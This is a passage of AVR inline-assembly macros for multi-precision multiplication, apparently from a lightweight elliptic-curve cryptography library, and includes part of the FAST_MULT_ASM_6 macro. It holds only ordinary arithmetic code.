1319 "ld r14, y+ \n\t" \
1320 "ldi r24, 0 \n\t" \
1321 "mul r2, r14 \n\t" \
1322 "add r22, r0 \n\t" \
1323 "adc r23, r1 \n\t" \
1324 "adc r24, r25 \n\t" \
1325 "mul r3, r13 \n\t" \
1326 "add r22, r0 \n\t" \
1327 "adc r23, r1 \n\t" \
1328 "adc r24, r25 \n\t" \
1329 "mul r4, r12 \n\t" \
1330 "add r22, r0 \n\t" \
1331 "adc r23, r1 \n\t" \
1332 "adc r24, r25 \n\t" \
1333 "mul r5, r21 \n\t" \
1334 "add r22, r0 \n\t" \
1335 "adc r23, r1 \n\t" \
1336 "adc r24, r25 \n\t" \
1337 "mul r6, r20 \n\t" \
1338 "add r22, r0 \n\t" \
1339 "adc r23, r1 \n\t" \
1340 "adc r24, r25 \n\t" \
1341 "mul r7, r19 \n\t" \
1342 "add r22, r0 \n\t" \
1343 "adc r23, r1 \n\t" \
1344 "adc r24, r25 \n\t" \
1345 "mul r8, r18 \n\t" \
1346 "add r22, r0 \n\t" \
1347 "adc r23, r1 \n\t" \
1348 "adc r24, r25 \n\t" \
1349 "mul r9, r17 \n\t" \
1350 "add r22, r0 \n\t" \
1351 "adc r23, r1 \n\t" \
1352 "adc r24, r25 \n\t" \
1353 "mul r10, r16 \n\t" \
1354 "add r22, r0 \n\t" \
1355 "adc r23, r1 \n\t" \
1356 "adc r24, r25 \n\t" \
1357 "mul r11, r15 \n\t" \
1358 "add r22, r0 \n\t" \
1359 "adc r23, r1 \n\t" \
1360 "adc r24, r25 \n\t" \
1361 "ld r0, z \n\t" \
1362 "add r22, r0 \n\t" \
1363 "adc r23, r25 \n\t" \
1364 "adc r24, r25 \n\t" \
1365 "st z+, r22 \n\t" \
1366 \
1367 "ld r15, y+ \n\t" \
1368 "ldi r22, 0 \n\t" \
1369 "mul r2, r15 \n\t" \
1370 "add r23, r0 \n\t" \
1371 "adc r24, r1 \n\t" \
1372 "adc r22, r25 \n\t" \
1373 "mul r3, r14 \n\t" \
1374 "add r23, r0 \n\t" \
1375 "adc r24, r1 \n\t" \
1376 "adc r22, r25 \n\t" \
1377 "mul r4, r13 \n\t" \
1378 "add r23, r0 \n\t" \
1379 "adc r24, r1 \n\t" \
1380 "adc r22, r25 \n\t" \
1381 "mul r5, r12 \n\t" \
1382 "add r23, r0 \n\t" \
1383 "adc r24, r1 \n\t" \
1384 "adc r22, r25 \n\t" \
1385 "mul r6, r21 \n\t" \
1386 "add r23, r0 \n\t" \
1387 "adc r24, r1 \n\t" \
1388 "adc r22, r25 \n\t" \
1389 "mul r7, r20 \n\t" \
1390 "add r23, r0 \n\t" \
1391 "adc r24, r1 \n\t" \
1392 "adc r22, r25 \n\t" \
1393 "mul r8, r19 \n\t" \
1394 "add r23, r0 \n\t" \
1395 "adc r24, r1 \n\t" \
1396 "adc r22, r25 \n\t" \
1397 "mul r9, r18 \n\t" \
1398 "add r23, r0 \n\t" \
1399 "adc r24, r1 \n\t" \
1400 "adc r22, r25 \n\t" \
1401 "mul r10, r17 \n\t" \
1402 "add r23, r0 \n\t" \
1403 "adc r24, r1 \n\t" \
1404 "adc r22, r25 \n\t" \
1405 "mul r11, r16 \n\t" \
1406 "add r23, r0 \n\t" \
1407 "adc r24, r1 \n\t" \
1408 "adc r22, r25 \n\t" \
1409 "ld r0, z \n\t" \
1410 "add r23, r0 \n\t" \
1411 "adc r24, r25 \n\t" \
1412 "adc r22, r25 \n\t" \
1413 "st z+, r23 \n\t" \
1414 \
1415 "ld r16, y+ \n\t" \
1416 "ldi r23, 0 \n\t" \
1417 "mul r2, r16 \n\t" \
1418 "add r24, r0 \n\t" \
1419 "adc r22, r1 \n\t" \
1420 "adc r23, r25 \n\t" \
1421 "mul r3, r15 \n\t" \
1422 "add r24, r0 \n\t" \
1423 "adc r22, r1 \n\t" \
1424 "adc r23, r25 \n\t" \
1425 "mul r4, r14 \n\t" \
1426 "add r24, r0 \n\t" \
1427 "adc r22, r1 \n\t" \
1428 "adc r23, r25 \n\t" \
1429 "mul r5, r13 \n\t" \
1430 "add r24, r0 \n\t" \
1431 "adc r22, r1 \n\t" \
1432 "adc r23, r25 \n\t" \
1433 "mul r6, r12 \n\t" \
1434 "add r24, r0 \n\t" \
1435 "adc r22, r1 \n\t" \
1436 "adc r23, r25 \n\t" \
1437 "mul r7, r21 \n\t" \
1438 "add r24, r0 \n\t" \
1439 "adc r22, r1 \n\t" \
1440 "adc r23, r25 \n\t" \
1441 "mul r8, r20 \n\t" \
1442 "add r24, r0 \n\t" \
1443 "adc r22, r1 \n\t" \
1444 "adc r23, r25 \n\t" \
1445 "mul r9, r19 \n\t" \
1446 "add r24, r0 \n\t" \
1447 "adc r22, r1 \n\t" \
1448 "adc r23, r25 \n\t" \
1449 "mul r10, r18 \n\t" \
1450 "add r24, r0 \n\t" \
1451 "adc r22, r1 \n\t" \
1452 "adc r23, r25 \n\t" \
1453 "mul r11, r17 \n\t" \
1454 "add r24, r0 \n\t" \
1455 "adc r22, r1 \n\t" \
1456 "adc r23, r25 \n\t" \
1457 "ld r0, z \n\t" \
1458 "add r24, r0 \n\t" \
1459 "adc r22, r25 \n\t" \
1460 "adc r23, r25 \n\t" \
1461 "st z+, r24 \n\t" \
1462 \
1463 "ld r17, y+ \n\t" \
1464 "ldi r24, 0 \n\t" \
1465 "mul r2, r17 \n\t" \
1466 "add r22, r0 \n\t" \
1467 "adc r23, r1 \n\t" \
1468 "adc r24, r25 \n\t" \
1469 "mul r3, r16 \n\t" \
1470 "add r22, r0 \n\t" \
1471 "adc r23, r1 \n\t" \
1472 "adc r24, r25 \n\t" \
1473 "mul r4, r15 \n\t" \
1474 "add r22, r0 \n\t" \
1475 "adc r23, r1 \n\t" \
1476 "adc r24, r25 \n\t" \
1477 "mul r5, r14 \n\t" \
1478 "add r22, r0 \n\t" \
1479 "adc r23, r1 \n\t" \
1480 "adc r24, r25 \n\t" \
1481 "mul r6, r13 \n\t" \
1482 "add r22, r0 \n\t" \
1483 "adc r23, r1 \n\t" \
1484 "adc r24, r25 \n\t" \
1485 "mul r7, r12 \n\t" \
1486 "add r22, r0 \n\t" \
1487 "adc r23, r1 \n\t" \
1488 "adc r24, r25 \n\t" \
1489 "mul r8, r21 \n\t" \
1490 "add r22, r0 \n\t" \
1491 "adc r23, r1 \n\t" \
1492 "adc r24, r25 \n\t" \
1493 "mul r9, r20 \n\t" \
1494 "add r22, r0 \n\t" \
1495 "adc r23, r1 \n\t" \
1496 "adc r24, r25 \n\t" \
1497 "mul r10, r19 \n\t" \
1498 "add r22, r0 \n\t" \
1499 "adc r23, r1 \n\t" \
1500 "adc r24, r25 \n\t" \
1501 "mul r11, r18 \n\t" \
1502 "add r22, r0 \n\t" \
1503 "adc r23, r1 \n\t" \
1504 "adc r24, r25 \n\t" \
1505 "ld r0, z \n\t" \
1506 "add r22, r0 \n\t" \
1507 "adc r23, r25 \n\t" \
1508 "adc r24, r25 \n\t" \
1509 "st z+, r22 \n\t" \
1510 \
1511 "ld r18, y+ \n\t" \
1512 "ldi r22, 0 \n\t" \
1513 "mul r2, r18 \n\t" \
1514 "add r23, r0 \n\t" \
1515 "adc r24, r1 \n\t" \
1516 "adc r22, r25 \n\t" \
1517 "mul r3, r17 \n\t" \
1518 "add r23, r0 \n\t" \
1519 "adc r24, r1 \n\t" \
1520 "adc r22, r25 \n\t" \
1521 "mul r4, r16 \n\t" \
1522 "add r23, r0 \n\t" \
1523 "adc r24, r1 \n\t" \
1524 "adc r22, r25 \n\t" \
1525 "mul r5, r15 \n\t" \
1526 "add r23, r0 \n\t" \
1527 "adc r24, r1 \n\t" \
1528 "adc r22, r25 \n\t" \
1529 "mul r6, r14 \n\t" \
1530 "add r23, r0 \n\t" \
1531 "adc r24, r1 \n\t" \
1532 "adc r22, r25 \n\t" \
1533 "mul r7, r13 \n\t" \
1534 "add r23, r0 \n\t" \
1535 "adc r24, r1 \n\t" \
1536 "adc r22, r25 \n\t" \
1537 "mul r8, r12 \n\t" \
1538 "add r23, r0 \n\t" \
1539 "adc r24, r1 \n\t" \
1540 "adc r22, r25 \n\t" \
1541 "mul r9, r21 \n\t" \
1542 "add r23, r0 \n\t" \
1543 "adc r24, r1 \n\t" \
1544 "adc r22, r25 \n\t" \
1545 "mul r10, r20 \n\t" \
1546 "add r23, r0 \n\t" \
1547 "adc r24, r1 \n\t" \
1548 "adc r22, r25 \n\t" \
1549 "mul r11, r19 \n\t" \
1550 "add r23, r0 \n\t" \
1551 "adc r24, r1 \n\t" \
1552 "adc r22, r25 \n\t" \
1553 "ld r0, z \n\t" \
1554 "add r23, r0 \n\t" \
1555 "adc r24, r25 \n\t" \
1556 "adc r22, r25 \n\t" \
1557 "st z+, r23 \n\t" \
1558 \
1559 "ld r19, y+ \n\t" \
1560 "ldi r23, 0 \n\t" \
1561 "mul r2, r19 \n\t" \
1562 "add r24, r0 \n\t" \
1563 "adc r22, r1 \n\t" \
1564 "adc r23, r25 \n\t" \
1565 "mul r3, r18 \n\t" \
1566 "add r24, r0 \n\t" \
1567 "adc r22, r1 \n\t" \
1568 "adc r23, r25 \n\t" \
1569 "mul r4, r17 \n\t" \
1570 "add r24, r0 \n\t" \
1571 "adc r22, r1 \n\t" \
1572 "adc r23, r25 \n\t" \
1573 "mul r5, r16 \n\t" \
1574 "add r24, r0 \n\t" \
1575 "adc r22, r1 \n\t" \
1576 "adc r23, r25 \n\t" \
1577 "mul r6, r15 \n\t" \
1578 "add r24, r0 \n\t" \
1579 "adc r22, r1 \n\t" \
1580 "adc r23, r25 \n\t" \
1581 "mul r7, r14 \n\t" \
1582 "add r24, r0 \n\t" \
1583 "adc r22, r1 \n\t" \
1584 "adc r23, r25 \n\t" \
1585 "mul r8, r13 \n\t" \
1586 "add r24, r0 \n\t" \
1587 "adc r22, r1 \n\t" \
1588 "adc r23, r25 \n\t" \
1589 "mul r9, r12 \n\t" \
1590 "add r24, r0 \n\t" \
1591 "adc r22, r1 \n\t" \
1592 "adc r23, r25 \n\t" \
1593 "mul r10, r21 \n\t" \
1594 "add r24, r0 \n\t" \
1595 "adc r22, r1 \n\t" \
1596 "adc r23, r25 \n\t" \
1597 "mul r11, r20 \n\t" \
1598 "add r24, r0 \n\t" \
1599 "adc r22, r1 \n\t" \
1600 "adc r23, r25 \n\t" \
1601 "ld r0, z \n\t" \
1602 "add r24, r0 \n\t" \
1603 "adc r22, r25 \n\t" \
1604 "adc r23, r25 \n\t" \
1605 "st z+, r24 \n\t" \
1606 \
1607 "ld r20, y+ \n\t" \
1608 "ldi r24, 0 \n\t" \
1609 "mul r2, r20 \n\t" \
1610 "add r22, r0 \n\t" \
1611 "adc r23, r1 \n\t" \
1612 "adc r24, r25 \n\t" \
1613 "mul r3, r19 \n\t" \
1614 "add r22, r0 \n\t" \
1615 "adc r23, r1 \n\t" \
1616 "adc r24, r25 \n\t" \
1617 "mul r4, r18 \n\t" \
1618 "add r22, r0 \n\t" \
1619 "adc r23, r1 \n\t" \
1620 "adc r24, r25 \n\t" \
1621 "mul r5, r17 \n\t" \
1622 "add r22, r0 \n\t" \
1623 "adc r23, r1 \n\t" \
1624 "adc r24, r25 \n\t" \
1625 "mul r6, r16 \n\t" \
1626 "add r22, r0 \n\t" \
1627 "adc r23, r1 \n\t" \
1628 "adc r24, r25 \n\t" \
1629 "mul r7, r15 \n\t" \
1630 "add r22, r0 \n\t" \
1631 "adc r23, r1 \n\t" \
1632 "adc r24, r25 \n\t" \
1633 "mul r8, r14 \n\t" \
1634 "add r22, r0 \n\t" \
1635 "adc r23, r1 \n\t" \
1636 "adc r24, r25 \n\t" \
1637 "mul r9, r13 \n\t" \
1638 "add r22, r0 \n\t" \
1639 "adc r23, r1 \n\t" \
1640 "adc r24, r25 \n\t" \
1641 "mul r10, r12 \n\t" \
1642 "add r22, r0 \n\t" \
1643 "adc r23, r1 \n\t" \
1644 "adc r24, r25 \n\t" \
1645 "mul r11, r21 \n\t" \
1646 "add r22, r0 \n\t" \
1647 "adc r23, r1 \n\t" \
1648 "adc r24, r25 \n\t" \
1649 "ld r0, z \n\t" \
1650 "add r22, r0 \n\t" \
1651 "adc r23, r25 \n\t" \
1652 "adc r24, r25 \n\t" \
1653 "st z+, r22 \n\t" \
1654 \
1655 "ld r21, y+ \n\t" \
1656 "ldi r22, 0 \n\t" \
1657 "mul r2, r21 \n\t" \
1658 "add r23, r0 \n\t" \
1659 "adc r24, r1 \n\t" \
1660 "adc r22, r25 \n\t" \
1661 "mul r3, r20 \n\t" \
1662 "add r23, r0 \n\t" \
1663 "adc r24, r1 \n\t" \
1664 "adc r22, r25 \n\t" \
1665 "mul r4, r19 \n\t" \
1666 "add r23, r0 \n\t" \
1667 "adc r24, r1 \n\t" \
1668 "adc r22, r25 \n\t" \
1669 "mul r5, r18 \n\t" \
1670 "add r23, r0 \n\t" \
1671 "adc r24, r1 \n\t" \
1672 "adc r22, r25 \n\t" \
1673 "mul r6, r17 \n\t" \
1674 "add r23, r0 \n\t" \
1675 "adc r24, r1 \n\t" \
1676 "adc r22, r25 \n\t" \
1677 "mul r7, r16 \n\t" \
1678 "add r23, r0 \n\t" \
1679 "adc r24, r1 \n\t" \
1680 "adc r22, r25 \n\t" \
1681 "mul r8, r15 \n\t" \
1682 "add r23, r0 \n\t" \
1683 "adc r24, r1 \n\t" \
1684 "adc r22, r25 \n\t" \
1685 "mul r9, r14 \n\t" \
1686 "add r23, r0 \n\t" \
1687 "adc r24, r1 \n\t" \
1688 "adc r22, r25 \n\t" \
1689 "mul r10, r13 \n\t" \
1690 "add r23, r0 \n\t" \
1691 "adc r24, r1 \n\t" \
1692 "adc r22, r25 \n\t" \
1693 "mul r11, r12 \n\t" \
1694 "add r23, r0 \n\t" \
1695 "adc r24, r1 \n\t" \
1696 "adc r22, r25 \n\t" \
1697 "ld r0, z \n\t" \
1698 "add r23, r0 \n\t" \
1699 "adc r24, r25 \n\t" \
1700 "adc r22, r25 \n\t" \
1701 "st z+, r23 \n\t" \
1702 \
1703 "ldi r23, 0 \n\t" \
1704 "mul r3, r21 \n\t" \
1705 "add r24, r0 \n\t" \
1706 "adc r22, r1 \n\t" \
1707 "adc r23, r25 \n\t" \
1708 "mul r4, r20 \n\t" \
1709 "add r24, r0 \n\t" \
1710 "adc r22, r1 \n\t" \
1711 "adc r23, r25 \n\t" \
1712 "mul r5, r19 \n\t" \
1713 "add r24, r0 \n\t" \
1714 "adc r22, r1 \n\t" \
1715 "adc r23, r25 \n\t" \
1716 "mul r6, r18 \n\t" \
1717 "add r24, r0 \n\t" \
1718 "adc r22, r1 \n\t" \
1719 "adc r23, r25 \n\t" \
1720 "mul r7, r17 \n\t" \
1721 "add r24, r0 \n\t" \
1722 "adc r22, r1 \n\t" \
1723 "adc r23, r25 \n\t" \
1724 "mul r8, r16 \n\t" \
1725 "add r24, r0 \n\t" \
1726 "adc r22, r1 \n\t" \
1727 "adc r23, r25 \n\t" \
1728 "mul r9, r15 \n\t" \
1729 "add r24, r0 \n\t" \
1730 "adc r22, r1 \n\t" \
1731 "adc r23, r25 \n\t" \
1732 "mul r10, r14 \n\t" \
1733 "add r24, r0 \n\t" \
1734 "adc r22, r1 \n\t" \
1735 "adc r23, r25 \n\t" \
1736 "mul r11, r13 \n\t" \
1737 "add r24, r0 \n\t" \
1738 "adc r22, r1 \n\t" \
1739 "adc r23, r25 \n\t" \
1740 "st z+, r24 \n\t" \
1741 \
1742 "ldi r24, 0 \n\t" \
1743 "mul r4, r21 \n\t" \
1744 "add r22, r0 \n\t" \
1745 "adc r23, r1 \n\t" \
1746 "adc r24, r25 \n\t" \
1747 "mul r5, r20 \n\t" \
1748 "add r22, r0 \n\t" \
1749 "adc r23, r1 \n\t" \
1750 "adc r24, r25 \n\t" \
1751 "mul r6, r19 \n\t" \
1752 "add r22, r0 \n\t" \
1753 "adc r23, r1 \n\t" \
1754 "adc r24, r25 \n\t" \
1755 "mul r7, r18 \n\t" \
1756 "add r22, r0 \n\t" \
1757 "adc r23, r1 \n\t" \
1758 "adc r24, r25 \n\t" \
1759 "mul r8, r17 \n\t" \
1760 "add r22, r0 \n\t" \
1761 "adc r23, r1 \n\t" \
1762 "adc r24, r25 \n\t" \
1763 "mul r9, r16 \n\t" \
1764 "add r22, r0 \n\t" \
1765 "adc r23, r1 \n\t" \
1766 "adc r24, r25 \n\t" \
1767 "mul r10, r15 \n\t" \
1768 "add r22, r0 \n\t" \
1769 "adc r23, r1 \n\t" \
1770 "adc r24, r25 \n\t" \
1771 "mul r11, r14 \n\t" \
1772 "add r22, r0 \n\t" \
1773 "adc r23, r1 \n\t" \
1774 "adc r24, r25 \n\t" \
1775 "st z+, r22 \n\t" \
1776 \
1777 "ldi r22, 0 \n\t" \
1778 "mul r5, r21 \n\t" \
1779 "add r23, r0 \n\t" \
1780 "adc r24, r1 \n\t" \
1781 "adc r22, r25 \n\t" \
1782 "mul r6, r20 \n\t" \
1783 "add r23, r0 \n\t" \
1784 "adc r24, r1 \n\t" \
1785 "adc r22, r25 \n\t" \
1786 "mul r7, r19 \n\t" \
1787 "add r23, r0 \n\t" \
1788 "adc r24, r1 \n\t" \
1789 "adc r22, r25 \n\t" \
1790 "mul r8, r18 \n\t" \
1791 "add r23, r0 \n\t" \
1792 "adc r24, r1 \n\t" \
1793 "adc r22, r25 \n\t" \
1794 "mul r9, r17 \n\t" \
1795 "add r23, r0 \n\t" \
1796 "adc r24, r1 \n\t" \
1797 "adc r22, r25 \n\t" \
1798 "mul r10, r16 \n\t" \
1799 "add r23, r0 \n\t" \
1800 "adc r24, r1 \n\t" \
1801 "adc r22, r25 \n\t" \
1802 "mul r11, r15 \n\t" \
1803 "add r23, r0 \n\t" \
1804 "adc r24, r1 \n\t" \
1805 "adc r22, r25 \n\t" \
1806 "st z+, r23 \n\t" \
1807 \
1808 "ldi r23, 0 \n\t" \
1809 "mul r6, r21 \n\t" \
1810 "add r24, r0 \n\t" \
1811 "adc r22, r1 \n\t" \
1812 "adc r23, r25 \n\t" \
1813 "mul r7, r20 \n\t" \
1814 "add r24, r0 \n\t" \
1815 "adc r22, r1 \n\t" \
1816 "adc r23, r25 \n\t" \
1817 "mul r8, r19 \n\t" \
1818 "add r24, r0 \n\t" \
1819 "adc r22, r1 \n\t" \
1820 "adc r23, r25 \n\t" \
1821 "mul r9, r18 \n\t" \
1822 "add r24, r0 \n\t" \
1823 "adc r22, r1 \n\t" \
1824 "adc r23, r25 \n\t" \
1825 "mul r10, r17 \n\t" \
1826 "add r24, r0 \n\t" \
1827 "adc r22, r1 \n\t" \
1828 "adc r23, r25 \n\t" \
1829 "mul r11, r16 \n\t" \
1830 "add r24, r0 \n\t" \
1831 "adc r22, r1 \n\t" \
1832 "adc r23, r25 \n\t" \
1833 "st z+, r24 \n\t" \
1834 \
1835 "ldi r24, 0 \n\t" \
1836 "mul r7, r21 \n\t" \
1837 "add r22, r0 \n\t" \
1838 "adc r23, r1 \n\t" \
1839 "adc r24, r25 \n\t" \
1840 "mul r8, r20 \n\t" \
1841 "add r22, r0 \n\t" \
1842 "adc r23, r1 \n\t" \
1843 "adc r24, r25 \n\t" \
1844 "mul r9, r19 \n\t" \
1845 "add r22, r0 \n\t" \
1846 "adc r23, r1 \n\t" \
1847 "adc r24, r25 \n\t" \
1848 "mul r10, r18 \n\t" \
1849 "add r22, r0 \n\t" \
1850 "adc r23, r1 \n\t" \
1851 "adc r24, r25 \n\t" \
1852 "mul r11, r17 \n\t" \
1853 "add r22, r0 \n\t" \
1854 "adc r23, r1 \n\t" \
1855 "adc r24, r25 \n\t" \
1856 "st z+, r22 \n\t" \
1857 \
1858 "ldi r22, 0 \n\t" \
1859 "mul r8, r21 \n\t" \
1860 "add r23, r0 \n\t" \
1861 "adc r24, r1 \n\t" \
1862 "adc r22, r25 \n\t" \
1863 "mul r9, r20 \n\t" \
1864 "add r23, r0 \n\t" \
1865 "adc r24, r1 \n\t" \
1866 "adc r22, r25 \n\t" \
1867 "mul r10, r19 \n\t" \
1868 "add r23, r0 \n\t" \
1869 "adc r24, r1 \n\t" \
1870 "adc r22, r25 \n\t" \
1871 "mul r11, r18 \n\t" \
1872 "add r23, r0 \n\t" \
1873 "adc r24, r1 \n\t" \
1874 "adc r22, r25 \n\t" \
1875 "st z+, r23 \n\t" \
1876 \
1877 "ldi r23, 0 \n\t" \
1878 "mul r9, r21 \n\t" \
1879 "add r24, r0 \n\t" \
1880 "adc r22, r1 \n\t" \
1881 "adc r23, r25 \n\t" \
1882 "mul r10, r20 \n\t" \
1883 "add r24, r0 \n\t" \
1884 "adc r22, r1 \n\t" \
1885 "adc r23, r25 \n\t" \
1886 "mul r11, r19 \n\t" \
1887 "add r24, r0 \n\t" \
1888 "adc r22, r1 \n\t" \
1889 "adc r23, r25 \n\t" \
1890 "st z+, r24 \n\t" \
1891 \
1892 "ldi r24, 0 \n\t" \
1893 "mul r10, r21 \n\t" \
1894 "add r22, r0 \n\t" \
1895 "adc r23, r1 \n\t" \
1896 "adc r24, r25 \n\t" \
1897 "mul r11, r20 \n\t" \
1898 "add r22, r0 \n\t" \
1899 "adc r23, r1 \n\t" \
1900 "adc r24, r25 \n\t" \
1901 "st z+, r22 \n\t" \
1902 \
1903 "mul r11, r21 \n\t" \
1904 "add r23, r0 \n\t" \
1905 "adc r24, r1 \n\t" \
1906 "st z+, r23 \n\t" \
1907 "st z+, r24 \n\t" \
1908 "eor r1, r1 \n\t"
1909
1910 #define FAST_MULT_ASM_6 \
1911 "adiw r30, 20 \n\t" \
1912 "adiw r28, 20 \n\t" \
1913 "ld r2, x+ \n\t" \
1914 "ld r3, x+ \n\t" \
1915 "ld r4, x+ \n\t" \
1916 "ld r5, x+ \n\t" \
1917 "ld r12, y+ \n\t" \
1918 "ld r13, y+ \n\t" \
1919 "ld r14, y+ \n\t" \
1920 "ld r15, y+ \n\t" \
1921 "ldi r25, 0 \n\t" \
1922 \
1923 "ldi r23, 0 \n\t" \
1924 "mul r2, r12 \n\t" \
1925 "st z+, r0 \n\t" \
1926 "mov r22, r1 \n\t" \
1927 \
1928 "ldi r24, 0 \n\t" \
1929 "mul r2, r13 \n\t" \
1930 "add r22, r0 \n\t" \
1931 "adc r23, r1 \n\t" \
1932 "mul r3, r12 \n\t" \
1933 "add r22, r0 \n\t" \
1934 "adc r23, r1 \n\t" \
1935 "adc r24, r25 \n\t" \
1936 "st z+, r22 \n\t" \
1937 \
1938 "ldi r22, 0 \n\t" \
1939 "mul r2, r14 \n\t" \
1940 "add r23, r0 \n\t" \
1941 "adc r24, r1 \n\t" \
1942 "adc r22, r25 \n\t" \
1943 "mul r3, r13 \n\t" \
1944 "add r23, r0 \n\t" \
1945 "adc r24, r1 \n\t" \
1946 "adc r22, r25 \n\t" \
1947 "mul r4, r12 \n\t" \
1948 "add r23, r0 \n\t" \
1949 "adc r24, r1 \n\t" \
1950 "adc r22, r25 \n\t" \
1951 "st z+, r23 \n\t" \
1952 \
1953 "ldi r23, 0 \n\t" \
1954 "mul r2, r15 \n\t" \
1955 "add r24, r0 \n\t" \
1956 "adc r22, r1 \n\t" \
1957 "adc r23, r25 \n\t" \
1958 "mul r3, r14 \n\t" \
1959 "add r24, r0 \n\t" \
1960 "adc r22, r1 \n\t" \
1961 "adc r23, r25 \n\t" \
1962 "mul r4, r13 \n\t" \
1963 "add r24, r0 \n\t" \
1964 "adc r22, r1 \n\t" \
1965 "adc r23, r25 \n\t" \
1966 "mul r5, r12 \n\t" \
1967 "add r24, r0 \n\t" \
1968 "adc r22, r1 \n\t" \
1969 "adc r23, r25 \n\t" \
1970 "st z+, r24 \n\t" \
1971 \
1972 "ldi r24, 0 \n\t" \
1973 "mul r3, r15 \n\t" \
1974 "add r22, r0 \n\t" \
1975 "adc r23, r1 \n\t" \
1976 "adc r24, r25 \n\t" \
1977 "mul r4, r14 \n\t" \
1978 "add r22, r0 \n\t" \
1979 "adc r23, r1 \n\t" \
1980 "adc r24, r25 \n\t" \
1981 "mul r5, r13 \n\t" \
1982 "add r22, r0 \n\t" \
1983 "adc r23, r1 \n\t" \
1984 "adc r24, r25 \n\t" \
1985 "st z+, r22 \n\t" \
1986 \
1987 "ldi r22, 0 \n\t" \
1988 "mul r4, r15 \n\t" \
1989 "add r23, r0 \n\t" \
1990 "adc r24, r1 \n\t" \
1991 "adc r22, r25 \n\t" \
1992 "mul r5, r14 \n\t" \
1993 "add r23, r0 \n\t" \
1994 "adc r24, r1 \n\t" \
1995 "adc r22, r25 \n\t" \
1996 "st z+, r23 \n\t" \
1997 \
1998 "mul r5, r15 \n\t" \
1999 "add r24, r0 \n\t" \
2000 "adc r22, r1 \n\t" \
2001 "st z+, r24 \n\t" \
2002 "st z+, r22 \n\t" \
2003 \
2004 "sbiw r30, 18 \n\t" \
2005 "sbiw r28, 14 \n\t" \
2006 "ld r12, y+ \n\t" \
2007 "ld r13, y+ \n\t" \
2008 "ld r14, y+ \n\t" \
2009 "ld r15, y+ \n\t" \
2010 "ld r16, y+ \n\t" \
2011 "ld r17, y+ \n\t" \
2012 "ld r18, y+ \n\t" \
2013 "ld r19, y+ \n\t" \
2014 "ld r20, y+ \n\t" \
2015 "ld r21, y+ \n\t" \
2016 "ld r6, x+ \n\t" \
2017 "ld r7, x+ \n\t" \
2018 "ld r8, x+ \n\t" \
2019 "ld r9, x+ \n\t" \
2020 "ld r10, x+ \n\t" \
2021 "ld r11, x+ \n\t" \
2022 \
2023 "ldi r23, 0 \n\t" \
2024 "mul r2, r12 \n\t" \
2025 "st z+, r0 \n\t" \
2026 "mov r22, r1 \n\t" \
2027 \
2028 "ldi r24, 0 \n\t" \
2029 "mul r2, r13 \n\t" \
2030 "add r22, r0 \n\t" \
2031 "adc r23, r1 \n\t" \
2032 "mul r3, r12 \n\t" \
2033 "add r22, r0 \n\t" \
2034 "adc r23, r1 \n\t" \
2035 "adc r24, r25 \n\t" \
2036 "st z+, r22 \n\t" \
2037 \
2038 "ldi r22, 0 \n\t" \
2039 "mul r2, r14 \n\t" \
2040 "add r23, r0 \n\t" \
2041 "adc r24, r1 \n\t" \
2042 "adc r22, r25 \n\t" \
2043 "mul r3, r13 \n\t" \
2044 "add r23, r0 \n\t" \
2045 "adc r24, r1 \n\t" \
2046 "adc r22, r25 \n\t" \
2047 "mul r4, r12 \n\t" \
2048 "add r23, r0 \n\t" \
2049 "adc r24, r1 \n\t" \
2050 "adc r22, r25 \n\t" \
2051 "st z+, r23 \n\t" \
2052 \
2053 "ldi r23, 0 \n\t" \
2054 "mul r2, r15 \n\t" \
2055 "add r24, r0 \n\t" \
2056 "adc r22, r1 \n\t" \
2057 "adc r23, r25 \n\t" \
2058 "mul r3, r14 \n\t" \
2059 "add r24, r0 \n\t" \
2060 "adc r22, r1 \n\t" \
2061 "adc r23, r25 \n\t" \
2062 "mul r4, r13 \n\t" \
2063 "add r24, r0 \n\t" \
2064 "adc r22, r1 \n\t" \
2065 "adc r23, r25 \n\t" \
2066 "mul r5, r12 \n\t" \
2067 "add r24, r0 \n\t" \
2068 "adc r22, r1 \n\t" \
2069 "adc r23, r25 \n\t" \
2070 "st z+, r24 \n\t" \
2071 \
2072 "ldi r24, 0 \n\t" \
2073 "mul r2, r16 \n\t" \
2074 "add r22, r0 \n\t" \
2075 "adc r23, r1 \n\t" \
2076 "adc r24, r25 \n\t" \
2077 "mul r3, r15 \n\t" \
2078 "add r22, r0 \n\t" \
2079 "adc r23, r1 \n\t" \
2080 "adc r24, r25 \n\t" \
2081 "mul r4, r14 \n\t" \
2082 "add r22, r0 \n\t" \
2083 "adc r23, r1 \n\t" \
2084 "adc r24, r25 \n\t" \
2085 "mul r5, r13 \n\t" \
2086 "add r22, r0 \n\t" \
2087 "adc r23, r1 \n\t" \
2088 "adc r24, r25 \n\t" \
2089 "mul r6, r12 \n\t" \
2090 "add r22, r0 \n\t" \
2091 "adc r23, r1 \n\t" \
2092 "adc r24, r25 \n\t" \
2093 "st z+, r22 \n\t" \
2094 \
2095 "ldi r22, 0 \n\t" \
2096 "mul r2, r17 \n\t" \
2097 "add r23, r0 \n\t" \
2098 "adc r24, r1 \n\t" \
2099 "adc r22, r25 \n\t" \
2100 "mul r3, r16 \n\t" \
2101 "add r23, r0 \n\t" \
2102 "adc r24, r1 \n\t" \
2103 "adc r22, r25 \n\t" \
2104 "mul r4, r15 \n\t" \
2105 "add r23, r0 \n\t" \
2106 "adc r24, r1 \n\t" \
2107 "adc r22, r25 \n\t" \
2108 "mul r5, r14 \n\t" \
2109 "add r23, r0 \n\t" \
2110 "adc r24, r1 \n\t" \
2111 "adc r22, r25 \n\t" \
2112 "mul r6, r13 \n\t" \
2113 "add r23, r0 \n\t" \
2114 "adc r24, r1 \n\t" \
2115 "adc r22, r25 \n\t" \
2116 "mul r7, r12 \n\t" \
2117 "add r23, r0 \n\t" \
2118 "adc r24, r1 \n\t" \
2119 "adc r22, r25 \n\t" \
2120 "st z+, r23 \n\t" \
2121 \
2122 "ldi r23, 0 \n\t" \
2123 "mul r2, r18 \n\t" \
2124 "add r24, r0 \n\t" \
2125 "adc r22, r1 \n\t" \
2126 "adc r23, r25 \n\t" \
2127 "mul r3, r17 \n\t" \
2128 "add r24, r0 \n\t" \
2129 "adc r22, r1 \n\t" \
2130 "adc r23, r25 \n\t" \
2131 "mul r4, r16 \n\t" \
2132 "add r24, r0 \n\t" \
2133 "adc r22, r1 \n\t" \
2134 "adc r23, r25 \n\t" \
2135 "mul r5, r15 \n\t" \
2136 "add r24, r0 \n\t" \
2137 "adc r22, r1 \n\t" \
2138 "adc r23, r25 \n\t" \
2139 "mul r6, r14 \n\t" \
2140 "add r24, r0 \n\t" \
